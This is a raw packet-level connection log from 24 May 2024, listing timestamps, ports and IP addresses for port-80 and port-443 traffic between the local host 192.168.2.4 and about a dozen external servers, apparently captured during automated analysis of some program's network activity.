May 24, 2024 13:42:03.022758007 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:03.023032904 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:03.023812056 CEST	49734	80	192.168.2.4	147.45.47.149
May 24, 2024 13:42:03.023992062 CEST	49736	80	192.168.2.4	176.111.174.109
May 24, 2024 13:42:03.024228096 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:03.029561996 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:03.029923916 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:03.032155037 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:03.032236099 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:03.032327890 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:03.037019968 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:03.037035942 CEST	80	49734	147.45.47.149	192.168.2.4
May 24, 2024 13:42:03.037050962 CEST	80	49736	176.111.174.109	192.168.2.4
May 24, 2024 13:42:03.037065029 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:03.037350893 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:03.037379980 CEST	49736	80	192.168.2.4	176.111.174.109
May 24, 2024 13:42:03.037393093 CEST	49734	80	192.168.2.4	147.45.47.149
May 24, 2024 13:42:03.037393093 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:03.037574053 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:03.037651062 CEST	49736	80	192.168.2.4	176.111.174.109
May 24, 2024 13:42:03.037715912 CEST	49734	80	192.168.2.4	147.45.47.149
May 24, 2024 13:42:03.037807941 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:03.038125992 CEST	49740	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:03.038166046 CEST	49741	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:03.041798115 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:03.041814089 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:03.041862011 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:03.041893959 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:03.041934013 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:03.042011976 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:03.046691895 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:03.046706915 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:03.046720028 CEST	80	49736	176.111.174.109	192.168.2.4
May 24, 2024 13:42:03.046734095 CEST	80	49734	147.45.47.149	192.168.2.4
May 24, 2024 13:42:03.046753883 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:03.046761036 CEST	80	49740	87.240.132.72	192.168.2.4
May 24, 2024 13:42:03.046818972 CEST	49740	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:03.047240973 CEST	49742	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:03.047319889 CEST	49740	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:03.051482916 CEST	80	49741	87.240.132.72	192.168.2.4
May 24, 2024 13:42:03.051544905 CEST	49741	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:03.051681042 CEST	49741	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:03.056240082 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:03.056268930 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:03.062299967 CEST	80	49742	188.114.96.3	192.168.2.4
May 24, 2024 13:42:03.062330961 CEST	80	49740	87.240.132.72	192.168.2.4
May 24, 2024 13:42:03.062362909 CEST	49742	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:03.062576056 CEST	49742	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:03.067210913 CEST	80	49741	87.240.132.72	192.168.2.4
May 24, 2024 13:42:03.072062969 CEST	80	49742	188.114.96.3	192.168.2.4
May 24, 2024 13:42:03.124982119 CEST	49743	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:03.125323057 CEST	49744	80	192.168.2.4	146.70.56.165
May 24, 2024 13:42:03.130013943 CEST	80	49743	188.114.96.3	192.168.2.4
May 24, 2024 13:42:03.130079985 CEST	49743	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:03.130187035 CEST	49743	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:03.134815931 CEST	80	49744	146.70.56.165	192.168.2.4
May 24, 2024 13:42:03.134864092 CEST	49744	80	192.168.2.4	146.70.56.165
May 24, 2024 13:42:03.135112047 CEST	49744	80	192.168.2.4	146.70.56.165
May 24, 2024 13:42:03.139893055 CEST	80	49743	188.114.96.3	192.168.2.4
May 24, 2024 13:42:03.144893885 CEST	80	49744	146.70.56.165	192.168.2.4
May 24, 2024 13:42:03.196048975 CEST	49745	80	192.168.2.4	45.130.41.108
May 24, 2024 13:42:03.201006889 CEST	80	49745	45.130.41.108	192.168.2.4
May 24, 2024 13:42:03.201078892 CEST	49745	80	192.168.2.4	45.130.41.108
May 24, 2024 13:42:03.201317072 CEST	49745	80	192.168.2.4	45.130.41.108
May 24, 2024 13:42:03.257025003 CEST	80	49745	45.130.41.108	192.168.2.4
May 24, 2024 13:42:03.464984894 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:03.470033884 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:03.470143080 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:03.470271111 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:03.521035910 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:03.567588091 CEST	80	49742	188.114.96.3	192.168.2.4
May 24, 2024 13:42:03.567636013 CEST	80	49742	188.114.96.3	192.168.2.4
May 24, 2024 13:42:03.567651033 CEST	49742	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:03.567681074 CEST	49742	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:03.568267107 CEST	49742	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:03.568548918 CEST	49747	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:03.644260883 CEST	80	49742	188.114.96.3	192.168.2.4
May 24, 2024 13:42:03.699486017 CEST	80	49747	188.114.96.3	192.168.2.4
May 24, 2024 13:42:03.699600935 CEST	49747	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:03.699995995 CEST	49747	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:03.724212885 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:03.724426985 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:03.724751949 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:03.728846073 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:03.728924990 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:03.729235888 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:03.733584881 CEST	80	49747	188.114.96.3	192.168.2.4
May 24, 2024 13:42:03.738346100 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:03.787599087 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:03.787645102 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:03.787677050 CEST	80	49741	87.240.132.72	192.168.2.4
May 24, 2024 13:42:03.787708998 CEST	80	49741	87.240.132.72	192.168.2.4
May 24, 2024 13:42:03.787738085 CEST	80	49740	87.240.132.72	192.168.2.4
May 24, 2024 13:42:03.787765980 CEST	80	49740	87.240.132.72	192.168.2.4
May 24, 2024 13:42:03.787798882 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:03.787821054 CEST	49741	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:03.787821054 CEST	49740	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:03.788273096 CEST	49741	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:03.788367033 CEST	49740	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:03.788383961 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:03.788595915 CEST	49748	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:03.788595915 CEST	49749	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:03.801188946 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:03.801444054 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:03.802109957 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:03.808682919 CEST	80	49741	87.240.132.72	192.168.2.4
May 24, 2024 13:42:03.813458920 CEST	80	49740	87.240.132.72	192.168.2.4
May 24, 2024 13:42:03.813489914 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:03.813522100 CEST	80	49748	87.240.132.72	192.168.2.4
May 24, 2024 13:42:03.813551903 CEST	80	49749	87.240.132.72	192.168.2.4
May 24, 2024 13:42:03.813581944 CEST	80	49736	176.111.174.109	192.168.2.4
May 24, 2024 13:42:03.813611984 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:03.813677073 CEST	49748	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:03.813677073 CEST	49749	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:03.813679934 CEST	49736	80	192.168.2.4	176.111.174.109
May 24, 2024 13:42:03.813837051 CEST	49736	80	192.168.2.4	176.111.174.109
May 24, 2024 13:42:03.813838005 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:03.813838005 CEST	49749	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:03.813949108 CEST	49748	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:03.814153910 CEST	49750	80	192.168.2.4	176.111.174.109
May 24, 2024 13:42:03.814153910 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:03.818543911 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:03.823554993 CEST	80	49736	176.111.174.109	192.168.2.4
May 24, 2024 13:42:03.875483990 CEST	80	49749	87.240.132.72	192.168.2.4
May 24, 2024 13:42:03.875525951 CEST	80	49748	87.240.132.72	192.168.2.4
May 24, 2024 13:42:03.875560999 CEST	80	49750	176.111.174.109	192.168.2.4
May 24, 2024 13:42:03.875590086 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:03.875621080 CEST	80	49743	188.114.96.3	192.168.2.4
May 24, 2024 13:42:03.875832081 CEST	49750	80	192.168.2.4	176.111.174.109
May 24, 2024 13:42:03.875837088 CEST	49743	80	192.168.2.4	188.114.96.3
May 24, 2024 13:42:03.877659082 CEST	49751	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:03.877741098 CEST	443	49751	188.114.96.3	192.168.2.4
May 24, 2024 13:42:03.877820015 CEST	49751	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:03.877964020 CEST	49750	80	192.168.2.4	176.111.174.109
May 24, 2024 13:42:03.877979040 CEST	49751	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:03.878001928 CEST	443	49751	188.114.96.3	192.168.2.4
May 24, 2024 13:42:03.901897907 CEST	80	49744	146.70.56.165	192.168.2.4
May 24, 2024 13:42:03.902095079 CEST	49744	80	192.168.2.4	146.70.56.165
May 24, 2024 13:42:03.902223110 CEST	49744	80	192.168.2.4	146.70.56.165
May 24, 2024 13:42:03.902447939 CEST	49752	80	192.168.2.4	146.70.56.165
May 24, 2024 13:42:03.906723976 CEST	80	49744	146.70.56.165	192.168.2.4
May 24, 2024 13:42:03.906785011 CEST	49744	80	192.168.2.4	146.70.56.165
May 24, 2024 13:42:03.912041903 CEST	80	49750	176.111.174.109	192.168.2.4
May 24, 2024 13:42:03.916958094 CEST	80	49744	146.70.56.165	192.168.2.4
May 24, 2024 13:42:03.916989088 CEST	80	49752	146.70.56.165	192.168.2.4
May 24, 2024 13:42:03.917146921 CEST	49752	80	192.168.2.4	146.70.56.165
May 24, 2024 13:42:03.917226076 CEST	49752	80	192.168.2.4	146.70.56.165
May 24, 2024 13:42:03.937040091 CEST	80	49752	146.70.56.165	192.168.2.4
May 24, 2024 13:42:03.977601051 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:03.977822065 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:03.979537010 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:03.979613066 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:03.983347893 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:03.983382940 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:03.983458996 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:03.987189054 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:03.987224102 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:03.987270117 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:03.987270117 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:03.994883060 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:03.995040894 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:03.998828888 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:03.998866081 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:03.998950005 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.013564110 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.013601065 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.013658047 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.013680935 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.014178991 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.014214993 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.014249086 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.014281988 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.014318943 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.019380093 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.019417048 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.019450903 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.019484997 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.028434038 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.028469086 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.028501987 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.028541088 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.028568983 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.029083014 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.029119015 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.029184103 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.034030914 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.034065008 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.034096003 CEST	80	49745	45.130.41.108	192.168.2.4
May 24, 2024 13:42:04.034126997 CEST	80	49745	45.130.41.108	192.168.2.4
May 24, 2024 13:42:04.034143925 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.034157038 CEST	80	49745	45.130.41.108	192.168.2.4
May 24, 2024 13:42:04.034159899 CEST	49745	80	192.168.2.4	45.130.41.108
May 24, 2024 13:42:04.034187078 CEST	49745	80	192.168.2.4	45.130.41.108
May 24, 2024 13:42:04.034188032 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.034197092 CEST	49745	80	192.168.2.4	45.130.41.108
May 24, 2024 13:42:04.034221888 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.034282923 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.034282923 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.034440041 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.034513950 CEST	49745	80	192.168.2.4	45.130.41.108
May 24, 2024 13:42:04.034746885 CEST	49753	80	192.168.2.4	45.130.41.108
May 24, 2024 13:42:04.040358067 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.041107893 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.041184902 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.041204929 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.041316986 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.042712927 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.044676065 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.044748068 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.046679020 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.046715021 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.046859980 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.050620079 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.052619934 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.052654982 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.052687883 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.052841902 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.056562901 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.056600094 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.056664944 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.058455944 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.058677912 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.058835983 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.058866024 CEST	80	49745	45.130.41.108	192.168.2.4
May 24, 2024 13:42:04.058898926 CEST	80	49753	45.130.41.108	192.168.2.4
May 24, 2024 13:42:04.059031963 CEST	49753	80	192.168.2.4	45.130.41.108
May 24, 2024 13:42:04.059199095 CEST	49753	80	192.168.2.4	45.130.41.108
May 24, 2024 13:42:04.063364029 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.063394070 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.063460112 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.068154097 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.068182945 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.068275928 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.072869062 CEST	80	49753	45.130.41.108	192.168.2.4
May 24, 2024 13:42:04.075321913 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.077189922 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.077224016 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.077290058 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.079118013 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.079150915 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.079180002 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.079186916 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.079221964 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.079221964 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.082869053 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.082904100 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.082973003 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.086353064 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.086622953 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.086657047 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.086673975 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.089646101 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.089657068 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.089693069 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.089703083 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.089737892 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.092657089 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.092693090 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.092708111 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.092725992 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.092736006 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.092766047 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.095686913 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.095721006 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.095776081 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.098603964 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.098638058 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.098683119 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.101042986 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.101078033 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.101089954 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.101109982 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.101238966 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.103540897 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.103576899 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.103602886 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.103619099 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.106017113 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.106053114 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.106086016 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.106097937 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.106121063 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.117588043 CEST	80	49738	185.172.128.159	192.168.2.4
May 24, 2024 13:42:04.117623091 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.117655993 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.117688894 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.117698908 CEST	49738	80	192.168.2.4	185.172.128.159
May 24, 2024 13:42:04.117719889 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.117729902 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.117754936 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.117786884 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.117805004 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.117805004 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.117805004 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.117816925 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.117831945 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.117862940 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.120532036 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.120564938 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.120604992 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.120641947 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.127775908 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.128087997 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.128125906 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.128154993 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.128186941 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.130136967 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.133443117 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.133445978 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.133481979 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.133502007 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.133526087 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.137820005 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.138398886 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.138479948 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.143897057 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.147149086 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.148941994 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.148999929 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.149555922 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.153202057 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.153692961 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.153749943 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.160563946 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.162982941 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.163019896 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.163068056 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.163090944 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.163955927 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.163990021 CEST	80	49739	5.42.65.64	192.168.2.4
May 24, 2024 13:42:04.164012909 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.164021015 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.164042950 CEST	49739	80	192.168.2.4	5.42.65.64
May 24, 2024 13:42:04.164067030 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.166687965 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.166925907 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.168118954 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.168153048 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.168210983 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.170809984 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.171952009 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.171987057 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.172009945 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.172029972 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.174113035 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.174148083 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.174181938 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.174209118 CEST	49737	80	192.168.2.4	91.202.233.232
